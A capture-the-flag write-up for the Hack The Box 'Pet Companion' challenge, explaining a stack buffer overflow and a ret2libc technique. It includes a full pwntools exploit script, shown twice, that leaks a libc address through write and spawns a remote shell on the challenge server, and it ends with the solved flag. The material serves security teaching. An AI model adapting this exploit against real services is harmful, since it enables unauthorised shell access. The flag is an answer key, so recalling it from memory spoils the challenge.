Pet Companion
- Difficulty: Easy
- Technique:
Ret-2-Libc
Embark on a journey through this expansive reality, where survival hinges on battling foes. In your quest, a loyal companion is essential. Dogs, mutated and implanted with chips, become your customizable allies. Tailor your pet's demeanor—whether happy, angry, sad, or funny—to enhance your bond on this perilous adventure.
Approach
Check protections
Command:
$ checksec --file=pet_companion
Output:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'
No PIE & canary. Potentially ROP.
Disassemble binary
main function's pseudocode:
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[8]; // [rsp+0h] [rbp-40h] BYREF
setup();
buf[0] = 0LL;
buf[1] = 0LL;
buf[2] = 0LL;
buf[3] = 0LL;
buf[4] = 0LL;
buf[5] = 0LL;
buf[6] = 0LL;
buf[7] = 0LL;
write(1, "\n[!] Set your pet companion's current status: ", 46uLL);
read(0, buf, 256uLL);
write(1, "\n[*] Configuring...\n\n", 21uLL);
return 0;
}
No flag function. Buffer overflow vulnerability observed. ROP can be used.
Inspect GOT table
Check external libc function stored in the Global Offset Table (GOT).
.got:0000000000600FC0 ; ===========================================================================
.got:0000000000600FC0
.got:0000000000600FC0 ; Segment type: Pure data
.got:0000000000600FC0 ; Segment permissions: Read/Write
.got:0000000000600FC0 _got segment qword public 'DATA' use64
.got:0000000000600FC0 assume cs:_got
.got:0000000000600FC0 ;org 600FC0h
.got:0000000000600FC0 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got:0000000000600FC8 qword_600FC8 dq 0 ; DATA XREF: sub_4004E0↑r
.got:0000000000600FD0 qword_600FD0 dq 0 ; DATA XREF: sub_4004E0+6↑r
.got:0000000000600FD8 write_ptr dq offset write ; DATA XREF: _write↑r
.got:0000000000600FE0 read_ptr dq offset read ; DATA XREF: _read↑r
.got:0000000000600FE8 setvbuf_ptr dq offset setvbuf ; DATA XREF: _setvbuf↑r
.got:0000000000600FF0 __libc_start_main_ptr dq offset __libc_start_main
.got:0000000000600FF0 ; DATA XREF: _start+24↑r
.got:0000000000600FF8 __gmon_start___ptr dq offset __gmon_start__
.got:0000000000600FF8 ; DATA XREF: _init_proc+4↑r
.got:0000000000600FF8 _got ends
.got:0000000000600FF8
Useful functions are only write and read.
Exploit
- Leak libc function address by writing the address of
write
function in the GOT to std out - Compute libc base address with leak
write
function address - Retrieve libc addresses of
system
and/bin/sh\x00
- Spawn shell and get flag
Leak libc address
Write write
function address in GOT to standard output
The
write
function requires two arguments:
- file descriptor - RDI
- pointer to file - RSI
Find suitable gadgets using ROPgadgets
.
Command:
ROPgadget --binary=pet_companion
Output:
Gadgets information
============================================================
.
.
0x0000000000400743 : pop rdi ; ret
0x0000000000400741 : pop rsi ; pop r15 ; ret
.
.
Unique gadgets found: 85
Create payload with found gadgets:
from pwn import *
elf = context.binary = ELF('./pet_companion')
libc = ELF('./glibc/libc.so.6')
rop = ROP(elf)
r = remote('83.136.255.205', 49851)
# r = gdb.debug('./pet_companion', gdbscript=''' break * 0x4006D9''')
main = p64(elf.symbols.main)
ret = p64(next(elf.search(asm('ret'))))
rdi_std = p64(1) # write to stdout
rsi_write = p64(elf.got.write) + p64(0) # p64(0) to fill r15
write_plt = p64(elf.plt.write)
pop_rdi = p64(rop.find_gadget(['pop rdi', 'ret']).address) # pop rdi, ret
pop_rsi = p64(0x0400741) # pop rsi, r15 ,ret
padding = 64*b'A'
payload = padding + ret + pop_rdi + rdi_std + pop_rsi + rsi_write + write_plt + ret + main
r.sendline(payload)
r.recvuntil(b'Configuring...\n\n')
leak = r.recvline().split(b' ')
leak_write = u64(leak[0].ljust(8,b'\x00'))
Compute libc base address:
libc.address = leak_write - libc.symbols.write
log.info(f'Received: {hex(libc.address)}')
Compute system
and /bin/sh
addresses:
bin_sh = p64(next(libc.search(b'/bin/sh')))
system = p64(libc.symbols.system)
Spawn shell && get flag
payload2 = padding + ret + pop_rdi + bin_sh + ret + system
r.sendline(payload2)
r.interactive()
Remarks: Classical ret-2-libc challenge, twist is leaking libc address using
write
instead ofputs
orprintf
.
Script
from pwn import *
elf = context.binary = ELF('./pet_companion')
libc = ELF('./glibc/libc.so.6')
rop = ROP(elf)
r = remote('83.136.255.205', 49851)
# r = gdb.debug('./pet_companion', gdbscript=''' break * 0x4006D9''')
main = p64(elf.symbols.main)
ret = p64(next(elf.search(asm('ret'))))
rdi_std = p64(1) # write to stdout
rsi_write = p64(elf.got.write) + p64(0) # p64(0) to fill r15
write_plt = p64(elf.plt.write)
pop_rdi = p64(rop.find_gadget(['pop rdi', 'ret']).address) # pop rdi, ret
pop_rsi = p64(0x0400741) # pop rsi, r15 ,ret
padding = 64*b'A'
payload = padding + ret + pop_rdi + rdi_std + pop_rsi + rsi_write + write_plt + ret + main
log.info(f"len of payload: {len(payload)}")
r.sendline(payload)
r.recvuntil(b'Configuring...\n\n')
leak = r.recvline().split(b' ')
leak_write = u64(leak[0].ljust(8,b'\x00'))
libc.address = leak_write - libc.symbols.write
log.info(f'Received: {hex(libc.address)}')
bin_sh = p64(next(libc.search(b'/bin/sh')))
system = p64(libc.symbols.system)
payload2 = padding + ret + pop_rdi + bin_sh + ret + system
r.sendline(payload2)
r.interactive()
Flag
HTB{c0nf1gur3_w3r_d0g}